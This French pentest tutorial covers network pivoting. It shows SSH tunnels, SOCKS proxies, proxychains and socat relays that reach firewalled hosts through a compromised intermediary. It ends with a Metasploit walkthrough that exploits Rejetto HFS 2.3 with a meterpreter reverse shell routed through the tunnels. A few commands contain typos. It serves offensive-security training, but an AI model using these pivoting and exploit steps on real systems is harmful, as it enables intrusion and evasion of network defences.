Port forwarding

Dans les réseaux réels, les administrateurs peuvent avoir bloqué certains de ces ports pour des raisons de sécurité ou avoir mis en place une segmentation autour du réseau, vous empêchant d'atteindre SMB., RDP, Ports WinRM ou RPC.

Pour contourner ces restrictions, nous pouvons utiliser des techniques de redirection de port, qui consistent à utiliser tout hôte compromis comme une boîte de saut pour pivoter vers d'autres hôtes.

On a déjà une machine intermediaire, pourquoi ne pas l'utiliser ?

Tout simplement car on a pas tout nos outils dessus

😃 SSH - REMOTE et LOCAL

  • Redirection de port via une fonctionnalité appelée SSH Tunneling.

  • Windows est désormais livré avec le client OpenSSH par défaut

Nous avons :

  • Attaquant : ne peut pas se connecter au port cible (a cause de restriction, parefeu par exemple)

  • Intermediaire : autorise a se se connecter au port cible

  • La cible

Configuration

Sur l'attaquant, commencez par créer un nouvel utilisateur avec des privilèges limités pour le SSH tunneling :

sudo useradd tunneluser -m -d /home/tunneluser -s /bin/bash
sudo passwd tunneluser

Modifiez ensuite le fichier /etc/ssh/sshd_config sur l'attaquant pour autoriser le port forwarding et limiter l'accès de l'utilisateur tunneluser :

sudo nano /etc/ssh/sshd_config

Ajoutez les lignes suivantes à la fin du fichier :

Match User tunneluser
    AllowTcpForwarding yes
    X11Forwarding no
    ForceCommand /bin/bash

Enregistrez le fichier et redémarrez le service SSH :

sudo systemctl restart ssh

😁 SSH - Dynamic porforwarding et SOCKS proxy

😆 Portforwarding Dynamique

Contrairement au port forwarding local ou distant, qui redirigent le trafic d'un port spécifique vers une destination spécifique, le port forwarding dynamique crée un proxy SOCKS sur le port local de l'ordinateur client. Ce proxy SOCKS peut être utilisé pour rediriger le trafic de n'importe quelle application réseau à travers le tunnel SSH vers diverses destinations sur Internet.

Avec le port forwarding dynamique, vous n'avez pas besoin de spécifier une destination spécifique au moment de la configuration. Au lieu de cela, vous configurez simplement un proxy SOCKS sur votre machine locale, et tout le trafic envoyé à ce proxy est redirigé à travers le tunnel SSH vers la destination souhaitée.

😊 SOCKS (Socket Secure)

SOCKS est un protocole de communication réseau utilisé pour le transfert de données entre un client et un serveur à travers un proxy. Il est utilisé pour traverser les pare-feu et les routeurs qui peuvent bloquer le trafic direct.

Fonctionnement :

  1. Client : L'application cliente se connecte au serveur proxy SOCKS.

  2. Proxy SOCKS : Le serveur proxy relaye le trafic entre le client et la destination finale. Il agit comme intermédiaire pour masquer l'adresse IP du client.

  3. Destination : La destination finale reçoit le trafic comme si c'était directement du serveur proxy.

👿 Proxy Chains

Les proxy chains (chaînes de proxys) impliquent l'utilisation de plusieurs proxys en série pour masquer davantage l'origine du trafic et ajouter des couches de protection.

Fonctionnement :

  1. Configuration : Les adresses des serveurs proxy sont listées dans un fichier de configuration.

  2. Relais en chaîne : Le trafic du client passe successivement par chaque proxy dans la chaîne avant d'atteindre la destination finale.

  3. Sécurité : Chaque proxy ne connaît que l'adresse IP de l'hôte précédent et de l'hôte suivant dans la chaîne, rendant difficile pour un observateur de tracer l'origine du trafic.


🗝️ Explication Pratique

Imaginons un attaquant qui a compromis une machine dans un réseau interne et souhaite accéder à d'autres machines sans éveiller les soupçons :

  1. Portforwarding Dynamique : L'attaquant utilise la commande suivante pour établir un tunnel SSH vers la machine compromise et activer un proxy SOCKS local sur le port 1080.

ssh -D 1080 Intermediaire_user@Intermediaire_IP
  1. SOCKS Proxy : Le navigateur de l'attaquant est configuré pour utiliser le proxy SOCKS à localhost:1080.

  2. Proxy Chains : L'attaquant utilise proxychains pour relayer son trafic à travers plusieurs proxys avant d'atteindre la machine cible, compliquant ainsi la détection et la traçabilité.


✏️ Démonstration

Étape 1 : Établir une redirection de port dynamique inverse depuis la machine de l'attaquant

Depuis la machine de l'attaquant, nous allons utiliser le client SSH pour établir une redirection de port dynamique inverse avec la commande suivante :

sssh -D <Port_local> -f -N Intermediaire_user@Intermediaire_IP
  • -f: en arrière-plan une fois que la connexion est établie.

  • -N: pas exécuter de commandes distantes une fois la connexion établie. Cela signifie que SSH sera utilisé uniquement pour établir le tunnel et restera actif sans exécuter de commandes supplémentaires.

  • Port 9050 par défaut

Étape 2 : Configurer proxychains sur la machine de l'attaquant

Sur la machine de l'attaquant, modifiez le fichier de configuration de proxychains (/etc/proxychains.conf) pour utiliser le proxy SOCKS sur le port 9050 (ou celui défini lors de l'étape précédente) :

[ProxyList]
socks4  127.0.0.1 <Port_local>

Étape 3 : Utiliser proxychains pour établir des connexions vers la machine cible

Maintenant que nous avons mis en place un tunnel de port dynamique (qui redirige le trafic via SSH) et configuré proxychains (qui gère une série de proxys), nous pouvons utiliser nos outils de manière sécurisée. Ces outils enverront leur trafic à travers le proxy SOCKS, qui, à son tour, passera par plusieurs proxys pour masquer l'origine du trafic et rendre sa détection plus difficile.

Par exemple, si nous voulons maintenant exécuter une commande via le proxy pour accéder à la machine cible (IP_cible), nous pouvons utiliser la commande suivante :

proxychains curl http://IP_cible

ou

proxychains nmap <IP_cible>

Notez que certains logiciels comme nmap peuvent ne pas fonctionner correctement avec SOCKS dans certaines circonstances et peuvent afficher des résultats modifiés, votre kilométrage peut donc varier.


🗳️ SOCAT

Pour commencer, vous devez avoir Socat installé sur les trois machines : la machine cible, la machine intermédiaire et la machine de l'attaquant.

Redirection de trafic RDP

Sur Intermediaire :

socat TCP-LISTEN:8080,fork TCP:Cible:3389
  • TCP-LISTEN:8080 indique à Socat d'écouter les connexions entrantes sur le port 13389.

  • fork permet à Socat de gérer les connexions entrantes de manière séparée pour chaque client.

  • TCP:Cible:3389 spécifie que Socat redirige le trafic vers l'adresse IP de la Cible sur le port 3389, qui est le port RDP par défaut.

Connexion à la Machine Cible via RDP :

Sur Attaquant :

xfreerdp /v:Intermediaire:8080 /u:admin /p:passwd

Vérification sur l'Attaquant

Une fois le tunnel SSH établi, sur l'attaquant, vérifiez que le port forwarding fonctionne 👍

netstat -tuln | grep 8080

Redirection de trafic d'un port spécifique

Dans ce cas précis, l'objectif est de rediriger le trafic du port 8080 de l'attaquant vers le port 80 de l'intermédiaire, puis du port 80 de l'intermédiaire vers le port 80 de la cible. Cela permet à l'attaquant d'accéder à un service ou une application hébergé sur la machine cible, même si elle est initialement inaccessible depuis l'attaquant en raison de restrictions réseau.

De l'attaquant vers l'intermédiaire

Depuis la machine de l'attaquant, vous pouvez utiliser la commande suivante pour rediriger le trafic du port 8080 vers la machine intermédiaire :

socat TCP-LISTEN:8080,fork TCP:IP_intermediaire:80
  • TCP-LISTEN:8080 : Écoute sur le port 8080 de la machine de l'attaquant.

  • fork : Crée une nouvelle instance de Socat pour chaque connexion entrante.

  • TCP:IP_intermediaire:80 : Redirige le trafic vers le port 80 de la machine intermédiaire.


De l'intermédiaire vers la cible

Depuis la machine intermédiaire, vous pouvez utiliser la commande suivante pour rediriger le trafic du port 8080 vers la machine cible :

=socat TCP-LISTEN:8080,fork TCP:IP_cible:80
  • TCP-LISTEN:8080 : Écoute sur le port 8080 de la machine intermédiaire.

  • fork : Crée une nouvelle instance de Socat pour chaque connexion entrante.

  • TCP:IP_cible:80 : Redirige le trafic vers le port 80 de la machine cible.


Vérification de la redirection de port

Depuis la machine de l'attaquant, vous pouvez maintenant accéder à la machine cible en utilisant l'adresse IP de la machine intermédiaire. Par exemple, si vous avez redirigé le port 8080, vous pouvez ouvrir un navigateur web et accéder à http://IP_intermediaire:8080. Le trafic sera redirigé vers le port 80 de la machine cible.


🛠️ Ports Intéressants

Administration à Distance

  • Port 22 (SSH)

  • Port 3389 (RDP)

  • Port 5900 (VNC)

Accès aux Services Web

  • Port 80 (HTTP)

  • Port 443 (HTTPS)

Partage de Fichiers

  • Port 445 (SMB)

Accès aux Bases de Données

  • Port 1433 (SQL Server)

  • Port 3306 (MySQL)

🔦 Exploit Rejetto HFS 2.3

❌ Problème ?

  • Le serveur cible (IP-CIBLE) exécute une version vulnérable de Rejetto HFS.

  • Les règles de pare-feu restreignent l'accès au port vulnérable, de sorte qu'il ne peut être vu que depuis l'hôte intermédiaire (IP-INTERMEDIAIRE).

  • Les connexions sortantes depuis le serveur cible ne sont autorisées que vers les machines du réseau local, ce qui rend impossible la réception d'un shell inversé directement sur la machine de l'attaquant (IP-ATTAQUANT).

  • L'exploit Rejetto HFS nécessite que l'attaquant héberge un serveur HTTP pour déclencher la charge utile finale, mais comme aucune connexion sortante n'est autorisée vers la machine de l'attaquant, nous devons trouver un moyen d'héberger un serveur web sur l'une des autres machines du même réseau, ce qui n'est pas pratique.

⛔ Solution !

  • Pour contourner ces problèmes, nous pouvons utiliser le tunnel de port.

  • Tout d'abord, nous devons transférer le port 80 du serveur cible vers la machine de l'attaquant via l'hôte intermédiaire à l'aide d'un transfert de port distant. Nous utiliserons le port 8888 sur la machine de l'attaquant pour écouter les connexions entrantes.

  • Ensuite, nous devons transférer les ports SRVPORT et LPORT de la machine de l'attaquant vers l'hôte intermédiaire à l'aide d'un transfert de port local.

  • Enfin, nous pouvons configurer l'exploit Metasploit pour utiliser ces ports transférés et déclencher la charge utile finale.

Voici les commandes à utiliser :

Sur la machine de l'attaquant :

Créer un tunnel SSH inversé entre la machine d'attaque et la machine intermédiaire.

ssh -R 8888:IP-CIBLE:80 user@IP-INTERMEDIAIRE -N

Sur l'hôte intermédiaire :

créer deux tunnels SSH locaux entre la machine intermédiaire et la machine d'attaque.

En créant deux tunnels séparés pour le serveur web malveillant et la connexion inverse du shell, les flux de trafic sont séparés et peuvent être gérés de manière indépendante. Cela peut aider à éviter les conflits de trafic et à améliorer les performances globales.

ssh -L *:SRVPORT:127.0.0.1:SRVPORT -L *:LPORT:127.0.0.1:LPORT user@IP-ATTAQUANT -N

Note : Remplacez SRVPORT et LPORT par les ports que vous avez choisis.

Sur la machine de l'attaquant :

msfconsole
use exploit/windows/http/rejetto_hfs_exec
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST IP-INTERMEDIAIRE
set LPORT LPORT
set SRVHOST 127.0.0.1 #adresse IP locale de la machine d'attaque
set SRVPORT SRVPORT  #choisi pour le serveur web malveillant
set RHOST IP-CIBLE
set RPORT 80
exploit

Note : Remplacez LPORT et SRVPORT par les ports que vous avez choisis.

Résumé :

  • La faille dans ce scénario est que le serveur cible exécute une version vulnérable de Rejetto HFS.

  • Cette vulnérabilité permet à un attaquant d'exécuter du code arbitraire sur le système cible en envoyant une requête HTTP spécialement conçue.

  • Les restrictions de pare-feu et de connexion sortante rendent l'exploitation de la faille plus difficile, car elles empêchent l'attaquant d'accéder directement au port vulnérable et d'héberger un serveur web malveillant sur sa propre machine.

Last updated